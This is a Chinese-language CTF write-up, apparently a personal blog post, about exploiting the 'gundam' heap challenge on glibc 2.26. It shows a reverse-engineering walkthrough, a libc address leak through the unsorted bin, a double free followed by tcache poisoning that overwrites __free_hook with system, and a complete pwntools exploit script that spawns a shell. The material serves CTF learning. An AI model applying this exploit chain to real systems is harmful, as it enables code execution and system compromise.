Share this post on:

纪念一下,做出来的第一个堆题

gundam

题目来源

检查

image-20220621190052478

逆向

menu

image-20220621191309663

一个选择函数,没什么解释的

build

image-20220621191502958

  • 开辟了一块0x28的空间,用于保存结构体

  • 这里对结构体的chunk进行了初始化

  • 再开辟了0x100的空间用于保存name的数据,这里没有对这个chunk进行初始化

  • 然后选择gundam的type,限定0,1,2三种

  • 然后将flag置1

  • 对factory数组检查,并且number++

  • 这里还可以总结出一个结构体

    struct gundam
    {
      int flag;
      char* name;
      char type[24];
    }gundam
    gundam* factory[9];

visit

image-20220621193713823

  • 检查number
  • 检查factory数组以及flag,非空就打印出gundam的name和type
  • 这里没有将最后一位设为‘\x00’存在信息泄露
destroy

image-20220621195046939

  • 选择序号,destroy对应的gundam
  • 这里将flag置0,并且释放了name对应的chunk
  • 但是这里没有释放掉对应的结构体以及没有将name的指针置空,那么name指针存在double free漏洞
blow_up

image-20220621195245699

  • 释放掉flag已经置0的结构体,同时将factory指针置0
  • 将number的数量减一
  • 这里算弥补了之前destroy函数的缺陷,将结构体也释放了,但是仍然没有将name指针置空

内存泄露

  • 由于之前提过在输入name函数后没有将最后一位截断则满足了造成内存泄露的条件

  • 这道题的libc版本是2.26,加入了tcache机制,根据tcache机制,同一个bins里面最多存放7个chunk,多的就会放进unsorted bin里面。所以先build所有的gundam,然后再释放8个gundam,这里调试看一下

    image-20220621202849182

    第八个释放的chunk已经被放入了unsorted bin中,并且距离main_arena的偏移是96,可以泄露地址,然后寻找libc地址,算出偏移,得到libc基址

  • 如何将这个地址泄露出来呢?看一看unsorted bin中的chunk

    image-20220621203552019

    因为unsorted bin中只有一个chunk,所以fd bk指针都指向main_arena+96的位置,那么就可以恰好将fd指针覆盖,然后泄露出bk指针指向的地址,完成内存泄露

def leak():
    global __free_hook_addr
    global system_addr

    for i in range(9):
        build(b'A'*7)
    for i in range(7):
        destroy(i) #tcache bin
    destroy(7) #unsorted bin

    blow_up()
    for i in range (8):
        build(b'A'*7)

    visit()
    leak = u64(p.recvuntil("Type[7]", drop=True)[-6:].ljust(8, b'\x00'))
    log.success("leak addr is ->%s" %hex(leak)) 
    libc_base = leak - 0x3DEC80
    __free_hook_addr = libc_base + libc.symbols['__free_hook']
    system_addr = libc_base + libc.symbols['system']

计算libc基址

  • 上一步已经拿到main_arena+96的地址了,这个地址虽然每次重新加载会变化,但与libc的偏移是固定的

  • 搜索一下libc

    image-20220621204238425

  • 有了libc地址然后又有泄露的地址就可以算出偏移了,进而算出基址

    image-20220621204526886

    libc_base = leak - 0x3DEC80

double free

  • 因为name指针始终没有置空,所以可以多次释放

  • 调试看看

    image-20220621205423962

    连续两次释放后,这个堆块的fd指向了自己,形成循环,并且其他的堆块也不在了

Tcache poisoning

  • 形成循环之后,可以将这个堆块申请出来,然后将输入的name替换成free_hook的地址,这样就会把chunk的fd覆盖成free函数的地址,相当于把free_hook放到了tcache的第二个节点了

    image-20220621210044245

get shell

  • 接下来就是将写入’/bin/sh\x00’并且将__free_hook的地址替换成system,这样在调用free的时候就相当于执行了system(‘/bin/sh’)

  • 创建一个gundam,必然分配到第一个节点,即0x555555759510这个chunk,我们写入参数'/bin/sh\x00',查看写入成功

    image-20220621210513515

  • 查看此时的bins

    image-20220621210620879

    恰好free_hook现在已位于第一个位置,所以下一个申请的chunk一定是free_hook,那么在free_hook处写入system的地址,就可以将free_hook替换成system

    image-20220621211346137

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.26_sym.so')
gdb.attach(p)

def build(name):
    p.sendlineafter("Your choice : ", b'1')
    p.sendlineafter("The name of gundam :", name)
    p.sendlineafter("The type of the gundam :", b'0')

def visit():
    p.sendlineafter("Your choice : ", b'2')

def destroy(idx):
    p.sendlineafter("Your choice : ", b'3')
    p.sendlineafter("Which gundam do you want to Destory:", bytes(str(idx), "utf-8"))

def blow_up():
    p.sendlineafter("Your choice : ", b'4')

def leak():
    global __free_hook_addr
    global system_addr

    for i in range(9):
        build(b'A'*7)
    for i in range(7):
        destroy(i) #tcache bin
    destroy(7) #unsorted bin

    blow_up()
    for i in range (8):
        build(b'A'*7)

    visit()
    leak = u64(p.recvuntil("Type[7]", drop=True)[-6:].ljust(8, b'\x00'))
    log.success("leak addr is ->%s" %hex(leak)) 
    libc_base = leak - 0x3DEC80
    __free_hook_addr = libc_base + libc.symbols['__free_hook']
    system_addr = libc_base + libc.symbols['system']

def overwrite():
    destroy(0)
    destroy(1)
    destroy(2)
    destroy(2) #double free

    blow_up()
    build(p64(__free_hook_addr))
    build(b'/bin/sh\x00')
    build(p64(system_addr))

def pwn():
    destroy(1)
    p.interactive()

if __name__ == "__main__":
    leak()
    overwrite()
    pwn()

#destory  0x556fdd800d32
#menu 0x556fdd800aea
#blow_up 0x556fdd800e22
#build 0x556fdd800b7d
#chunk1 0x556fddc73790
#free_hook 0x7fea26cf68c8
#0x7ffd02c9b86e ◂— 0x7ffd02c9b9600a31
Share this post on:

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注